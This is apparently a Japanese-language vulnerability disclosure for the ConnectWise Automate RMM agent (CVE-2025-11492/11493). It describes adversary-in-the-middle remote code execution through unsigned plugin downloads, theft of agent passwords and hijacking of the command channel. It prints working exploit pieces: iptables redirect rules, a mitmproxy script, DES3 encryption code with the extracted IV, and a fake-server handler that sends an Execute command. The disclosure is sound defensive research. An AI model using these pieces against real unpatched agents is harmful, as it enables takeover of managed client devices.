
CVE-2025-11492、CVE-2025-11493 の解説とコード - Adversary-in-the-Middle 経由の ConnctWise Automate RMM の RCE
ペネトレーションテストの一環として、ConnectWise Automate Remote Monitoring and Management (RMM) エージェントに複数の脆弱性を発見しました。 ConnectWise は多くのマネージドサービスプロバイダー (MSP) がクライアントデバイスの管理・監視に利用しています。 これらの脆弱性により、攻撃者がネットワーク上で中間者攻撃 (Adversary-in-the-Middle) を確立できる場合にリモートコード実行が可能となり、また攻撃者が ConnectWise Automate エージェントが動作するデバイス上でコード実行または物理アクセスを得た場合には、ローカル権限昇格やステルス的な永続化として悪用される可能性があります。
これらの脆弱性は 2025 年 8 月 20 日に ConnectWise へ報告されました。ConnectWise は CVE ID を割り当て、2025 年 10 月 16 日にバージョン 2025.9 でパッチをリリースしました。
ConnectWise セキュリティ情報:
CVE ID:
2025.9 をリリースし、セキュリティ情報と CVE を公開。ConnectWise の迅速な対応と、修正に向けた協力的な姿勢、分類や修正の最適な方法について議論する姿勢には感謝しています。
これらの脆弱性の分類は興味深い課題でした。HTTPS への切り替えによってこの報告書のほぼすべてのシナリオが解決されるものの、そもそも HTTP をサポートする設計はエージェントとサーバ間の通信の信頼性を向上させるための選択であったことが明らかでした。暗号化スキームは中間者攻撃のリスクを部分的に認識・緩和しようとしているように見えましたが、一貫して適用されていませんでした。これを掘り下げる中で、脆弱性が「HTTP そのもの」なのか、「HTTP 上での暗号化の欠如」なのか、あるいはリプレイ防止やプラグイン検証などをそれぞれ別の脆弱性として分類すべきか、という検討が必要でした。ある時点で ConnectWise は脆弱性の様々な側面について 5 つ以上の別々の CVE を検討していました。
さらに、攻撃の範囲と攻撃ベクトルは、脆弱性を中間者攻撃(例:コーヒーショップの Wi-Fi)の観点から見るか、LPE/物理アクセスの観点から見るかで異なりました。別のアプローチとしては、各シナリオ(例:AiTM RCE、LPE、永続化の乗っ取りなど)を個別の脆弱性として扱うことも考えられます。
最後の学びとして、2025 年になってもファイル共有には依然として困難が伴うという点です(電子メールのセキュリティが .dll ファイルやそれらを含む .zip ファイルの添付を許可しませんでした)。
本レポートは、ConnectWise によるパッチリリースと CVE 公開、およびそのような開示が利用者に害を及ぼさないという ConnectWise の同意を得た上で公開されています。また、これらの脆弱性とその緩和策を公表することで、他のベンダーやセキュリティ専門家が ConnectWise Automate や他の RMM システムにおけるリスクをよりよく理解し、緩和する助けになると考えています。
本コンテンツは、正当かつ許可されたセキュリティ研究および教育目的のみを意図しています。この情報を不正に使用してシステム、ネットワーク、データを侵害することは違法かつ非倫理的です。本コンテンツは「現状のまま」提供され、いかなる種類の保証もありません。著者は、本情報の使用または誤用に起因するいかなる損害についても一切の責任を負いません。
このコードや情報をさらなる研究に使用する場合は、発見した脆弱性を影響を受けるベンダーに報告することで、責任ある開示を実践してください。
以下のレポートに加えて、このリポジトリには脆弱性を実証する PoC コードが含まれています。偽サーバの実装と使用手順の詳細については automate_server/README.md を参照してください。
このコードは、ConnectWise Automate に対するさらなる(倫理的な)セキュリティ研究にも使用できます。
以下のレポート(またはそれに近いバージョン)と、このリポジトリ内の PoC Python コードは、推奨される緩和策とともに ConnectWise に提供されました。
削除された緩和策のセクションには、Automate エージェントをこれらの脆弱性に対して複数の方法で堅牢化するために可能な変更の詳細が含まれています。
これらの変更の一部はまだ ConnectWise で検討中であるため、そのセクションは今回の公開から削除されています。
ConnectWise Automate Remote Monitoring and Management (RMM) エージェント(2025 年 8 月時点の最新バージョン、バージョン文字列 250.252 でテスト)は、特定の構成においてネットワークベースのリモートコード実行に対して脆弱です。エージェントが Server Address に暗号化されていない HTTP トランスポート(主要なものかフォールバックとして)を使用するように構成され、攻撃者が中間者攻撃 (AiTM) を実行できる場合、SYSTEM としてリモートでコードを実行できます。この構成は、複数のマネージドサービスプロバイダー (MSP) から実際に観測されています。
攻撃者がデバイスに非管理者として物理アクセスを得た場合、またはデバイスを攻撃者が制御するネットワークに接続できる場合(つまり、この脆弱性はローカル権限昇格としても使用可能)にも悪用が可能です。Automate はほとんどの RMM コマンドを暗号化および検証するための暗号化システムを採用していますが、そのプラグインシステムは十分な保護がなく、リモートコード実行に対して脆弱なままです。
Automate の制御サーバを模倣したカスタムサーバを実装することで、Automate エージェントに悪意のあるプラグインをダウンロードおよび実行させることができます。
侵害されたエージェントは、魅力的な永続化の形態としても機能します。RCE を使用してエージェントの対称暗号鍵を抽出すると、カスタムサーバは標準の RMM チャネルを使用してエージェントに任意のコマンドを送信できます。AiTM シナリオでは、攻撃者はファイル抽出、資格情報ダンプ、コマンド実行、構成変更など、任意の RMM コマンドを実行できます。また、攻撃者は RMM の Server Address を自身のサーバに変更することで、AiTM 後でもステルス的な永続化を実現できます。あるいは、RCE を利用してシステムレベルのコマンドを直接実行することも可能です。
http:// エンドポイントを含む Server Address を使用している。脆弱な構成は 2 つの異なる MSP から観測されている(実際の MSP ドメインと IP は置き換え):
https://automate.msp-one.com|http://automate.msp-one.comhttps://msp.msp-two.com|http://msp.msp-two.com|http://12.346.6.78http:// エンドポイントは https:// 接続が失敗した場合のフォールバックとして使用されるが、攻撃者は https をブロックすることでこれをシミュレートできる。Automate エージェントは、サーバアドレスとして http:// URL を使用するように構成できます。この構成はインストーラスクリプト/パッケージによって設定される可能性が高いですが、レジストリキー HKLM\SOFTWARE\LabTech\Service\Server Address を確認することで検証できます。

HTTPS エンドポイントと HTTP エンドポイントの両方をパイプ | で区切って使用することで、理論上 HTTPS 接続に問題が発生した場合、Automate エージェントは HTTP 接続にフォールバックすることを保証します。
攻撃者が Automate エージェントとサーバ間のネットワークトラフィックに対して中間者攻撃 (AiTM) アクセスを得た場合、HTTPS 接続を意図的に妨害し、HTTP へのフォールバックを引き起こすことができます。これにより、攻撃者はエージェントとサーバ間でやり取りされるトラフィックを傍受、監視、改変できます。攻撃者はその後、トラフィックを https://automate.msp-one.com にリバースプロキシすることで、エージェントの「通常の動作」を維持しつつ、データを盗聴できます。さらに、応答を注入または変更したり、Automate エージェントからの要求に応答する完全な偽の Automate サーバをセットアップしたりすることもできます。
これは、「悪意のある」Wi-Fi アクセスポイント (hostapd、dnsmasq、IP 転送 + NAT) をセットアップし、トラフィックリダイレクションのための iptables ルールとリバースプロキシ用の mitmproxy スクリプトを使用して実現されました。

その他、実行中のプログラム、完全なネットワーク構成、ドキュメントパスなど、より機密性の高いデータが Automate エージェントの応答で観測されることがありました。
iptables -t nat -A PREROUTING -i wlx90916440139a -p tcp --dport 80 -j REDIRECT --to-port 8080 iptables -A FORWARD -i wlx90916440139a -p tcp --dport 443 -j DROP
#### mitmproxy script:```python
# run with AiTMweb --mode transparent@8080 -s automate_AiTM.py
def request(flow: http.HTTPFlow):
if flow.request.pretty_host == 'automate.msp-one.com':
flow.request.url = 'https://automate.msp-one.com' + flow.request.path
ZTNAソリューションはこの傍受を多少複雑にすることができますが、mitmproxyスクリプトをさらに追加してZTNAを条件付きで検出・ブロックすることで確実に回避され、結果としてトンネル化されていないHTTPへのフォールバックが発生しました。
Automateエージェントは、サーバーと通信するためにHTTP上にカスタムプロトコルを使用します。
デバイス上のRMMエージェントは、サーバーの/LabTech/agent.aspxエンドポイントに定期的にHTTP(S)リクエストを送信します。関連するリクエストタイプは以下の通りです:
パスの大文字小文字の不一致は誤字ではなく、Automateエージェントがこれらのリクエストを送信する際の実際の挙動です。すべてのエンドポイントパスは明確にするためコードチックで囲まれています。
/LabTech/Agent.aspx?DEPSをリクエストし、依存ファイルのリスト、そのバージョン番号、およびチェックサムを含むXMLレスポンスを受信します。/LabTech/Agent.Aspx?DepCheck=1&DependancyId=<id>をリクエストし、画像ファイルに偽装された難読化されたバイナリファイルとして依存関係を受信します(おそらく難読化はコンテンツフィルターによるダウンロードブロックを防ぐためのものです)。/LabTech/agent.aspx?<id>?c<CMD id>&<arg count>をリクエストし、コマンド固有のデータを含むカスタムパックされたレスポンスを受信します。InitialCommandRetrieveを含む)、コマンド結果の返送、チャットの実行に使用されます。機密性の高い「リモートコマンド」は、プリセットされたシステムパスワードとコンピュータパスワードからカスタム鍵導出を行うDES3ベースの暗号化方式を使用して暗号化されることがよくあります。正しいパスワードがないと、攻撃者はエージェントに送信される正当なコマンドを表示/注入/変更できません。ただし、コマンドレスポンスは暗号化されておらず、開いているファイル、パス、ユーザー名、インストール済みプログラムなどの機密性の高い平文データを頻繁に含むことが確認されています。
依存関係チェック(/LabTech/Agent.aspx?DEPS)とダウンロード(/LabTech/Agent.Aspx?DepCheck=1&DependancyId=<id>)は暗号化も署名もされていないため、攻撃者はレスポンスを改ざんして悪意のある依存関係を含め、RMMエージェントにダウンロード及びロードさせることができます。依存関係チェックが偽造されて異なるチェックサムを含む場合、RMMエージェントは不一致の依存ファイルに対して新たにダウンロードを実行し、それをロードします(新しくダウンロードされたファイルが偽造されたチェックサムと一致する場合)。プラグインは特定のインターフェースを実装する.NETアセンブリであり、Automateエージェントは期待されるプラグインインターフェースに一致する任意の.NETアセンブリをロードし、プラグインのインターフェースを呼び出すことでコード実行に至ります。
ダウンロードされたプラグイン依存関係には2段階目の検証があり、エージェントはcmdGetPluginsコマンドを送信し、ここでもチェックサムが一致するか検証しますが、このコマンドは暗号化方式を使用しません。
dnSpyを使用して、エージェントが使用する正規のScreenConnectRemotePlugin.dllに悪意のあるコードを注入することが可能でした。DEPS、DepCheck、cmdGetPluginsコマンド機能を持つカスタムAutomateサーバーを作成しました。偽のサーバーは期待されるプラグインと依存関係を複製しましたが、ScreenConnectRemotePlugin.dllのハッシュを悪意を持って改変されたプラグインの計算済みハッシュに変更しました。偽のサーバーはDepCheckリクエストに対して(難読化された偽画像形式で)悪意を持って改変されたScreenConnectRemotePlugin.dllも提供し、操作されたハッシュでcmdGetPluginsも実装しました。最後に、mitmproxyスクリプトを更新して、Automateエージェントを正規の(HTTPS)サーバーの代わりに偽のサーバーに向けました。
接続時に、悪意のあるプラグインがダウンロードされ、エージェントによってロードされます。注入されたコードは「システム」および「コンピュータ」パスワードを偽のサーバーに流出させます。システムパスワードとコンピュータパスワードはレジストリに保存されていますが、高度に難読化されたC#およびネイティブライブラリによってデコードされます。パッチを適用したプラグインは、レジストリ値を抽出する代わりにリフレクションを使用してデコードされた値を取得し、難読化のリバースエンジニアリングの手間を省きます。あるいは、レジストリキーHKLM\SOFTWARE\LabTech\Serviceの内容全体を流出させ、制御された環境内のRMMエージェントのコピーで使用して、.NETデバッガを使用して実行時にパスワードを抽出することもできます。


あるいは、プラグインを使用してシステムレベルのコマンドを直接実行することもできます。しかし、シークレットを抽出することで、RMMエージェント自体をコマンドアンドコントロールとして使用できるようになり、持続的なチャネルがEDRに検出されないことを意味しました。持続性は、Server Addressを攻撃者が制御するサーバーに更新することで得られ、そのサーバーはオプションでコマンドを正規のサーバーに転送して、デバイスが欠落として表示されるのを防ぐことができます。詳細は3. RMMコマンドアンドコントロールの乗っ取りを参照してください。
デフォルト構成でプラグインがインストールされていない場合でも、空のプラグイン(プラグインに必要なC#インターフェースに一致する)をコンパイルしてDEPSおよびcmdGetPluginsレスポンスに挿入すれば、同じ効果が得られると推測されます。
さらに、UpdatePluginsと呼ばれる「リモートコマンド」がサーバーから返され、エージェントがプラグインの更新を開始することが確認されました。コマンドにはリプレイ保護が含まれていないため、攻撃者が正規のサーバーから送信されるコマンドを観測できれば、このコマンドを他の任意のエージェントにリプレイして更新をトリガーできます。これにより、RCEの脆弱性が追加のシナリオで悪用可能となり、この脆弱性の影響が増大します。
自己更新も暗号化されておらず署名されていないことが確認されました。自己更新を介したリモートコード実行の実演は行われませんでしたが、同様に脆弱であると考えられます。自己更新の悪意ある改変はステルス性を持たせることがより困難であり、Automateエージェントを壊すリスクが高くなります。しかし、実行可能ファイル/DLLに.NETコードを注入する同様のアプローチが有効である可能性が高いです。自己更新プロセスは、プラグインRCEが十分であり、より信頼性が高いと判断されたため、これ以上調査されませんでした。
また、自己更新プロセスの悪用は、再起動時のみ悪用可能という制限に対する実行可能な解決策となる可能性もあります(例えば、レスポンスを注入またはリプレイして自己更新をトリガーできる場合)。
2.1のアプローチを使用してシステムパスワードとコンピュータパスワードを抽出することで、任意の「リモートコマンド」ペイロードとレスポンスを作成することが可能でした。鍵導出スキームを完全にリバースエンジニアリングして再実装する代わりに、LabTechCommonBase.dllをインポートしてUtilities.LabTechHash.ComputeHashを使用し、「コンピュータパスワード」からDES3鍵を生成することができました。計算されたDES鍵とDLLから抽出されたハードコードされたIVを使用して、RMMエージェントに任意のコマンドで応答することが可能になりました。```python
# IV extracted from decompiled LabTechSecurity.cs:
# this._initializationVector = new byte[] { 240, 3, 45, 29, 0, 76, 173, 59 };
iv = [240, 3, 45, 29, 0, 76, 173, 59]
# Helper functions for pythonnet, clr_loader, clr to load LabTechCommonBase.dll into python
labtech_net.setup_paths_and_references(str((Path(__file__).parent.parent / 'LTSvc').resolve()))
from LabTechCommonBase import Utilities
labtech_hash = Utilities.LabTechHash()
labtech_hash.ComputeHash(computer_password.encode('ascii')) # Use the exfiltrated computer password
byts = bytes(labtech_hash.GetDigestBytes())
cipher = DES3.new(byts, DES3.MODE_CBC, bytes(iv))
padded_data = pad(data.encode('utf-8'), DES3.block_size)
encrypted_data = cipher.encrypt(padded_data)
return base64.b64encode(encrypted_data).decode('utf-8')
偽のAutomateサーバーには、さまざまな「エージェントコマンド」タイプのハンドラーが実装されており、エージェントに「リモートコマンド」を送り返すことができます。これらのコマンドは、ペイロードのダウンロードと実行、デバイスへのネットワークトンネルの確立(例えば、デバイスのZTNAアクセスを経由してピボットするために使用できるSOCKSプロキシの設定)など、デバイス上で任意のコードを実行するために使用できます。
2.1からの即時クリーンアップとして、サーバーは暗号化された`UpdatePlugins`コマンドを送信し、元の正当なプラグインを提供して悪意を持って改変されたプラグインを上書きできます。攻撃者は(パスワードが抽出されたと仮定して)依然としてエージェントと対話でき、`Server Address`を攻撃者が管理するサーバーに更新することで永続性を維持できます。

また、`Execute`コマンドを使用してpingを実行する任意のコマンド実行も実証され、これは管理者コンテキストでデバイス上で正常に実行されました。これは、`InitialCommandRetrieve`コマンドとして提供されるか、他の「エージェントコマンド」/チェックインへの応答として返される可能性があります。```python
# Extract the RemoteCommandIDs enum from LabTechCommonBase.Constants using pythonnet
REMOTE_CMD_IDS = get_RemoteCommandIDs()
REMOTE_CMD_IDS_r = {str(v): k for k, v in REMOTE_CMD_IDS.items()}
# `register_cmd_handler` registers a command handler for the `/LabTech/agent.aspx?c<id>` endpoint.
# The string 'InitialCommandRetrieve' is mapped back to ID `36`.
# The full set of "Agent Command" and their IDs can be extracted from `LabTechCommonBase.Constants.modEnums.AgentCommandIDs`
@register_cmd_handler('InitialCommandRetrieve')
async def initial_command_retrieve(_req: dict) -> str:
cmd = '*!*'.join([
'202706506',
str(REMOTE_CMD_IDS_r['Execute']),
'!!!'.join([
'CMD.exe',
'/c ping -t -l 1337 192.168.20.2'
])
])
encrypted_cmd = encrypt(cmd)
return '|||'.join([
len_b64_gzip( # Simple helper to return '{len(data)}-{base64(gzip(data))}'
encrypted_cmd
),
# Generate common [latest-version, FILETIME(), queued command(s), MD5 hashes] encoding string expected in "agent command" responses
make_p2(),
])

-l 1337 の使用により、ping は1337バイトのペイロードサイズを使用するように指示されます。これは、2番目のスクリーンショットで(1337ペイロードバイト + 42ヘッダーバイト = 1379総バイト)「カナリア」として観測されます。
公開情報から削除されたセクション。